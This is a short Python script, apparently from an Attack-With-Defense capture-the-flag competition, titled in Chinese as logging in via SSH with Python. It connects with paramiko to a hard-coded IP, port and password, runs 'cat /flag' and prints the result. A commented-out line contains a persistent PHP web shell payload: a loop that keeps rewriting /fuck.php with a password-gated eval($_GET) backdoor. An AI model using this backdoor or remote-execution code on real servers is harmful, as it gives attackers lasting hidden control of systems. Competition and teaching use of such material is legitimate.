AWD-ssh使用python脚本登录

#coding=utf-8
import paramiko
ssh=paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())#跳过远程连接中选择“是”的环节
ssh.connect('121.37.183.150',2201,'ctf','zhangqi123')
execmd='cat /flag'
#execmd=r'system('while true;do echo \'<?php if(md5($_GET[pass])==\"3a50065e1709acc47ba0c9238294364f\"){@eval($_GET[a]);} ?>\' >/fuck.php;sleep 0.1;done;');'
stdin, stdout, stderr = ssh.exec_command (execmd)
print(stdout.read())
ssh.close()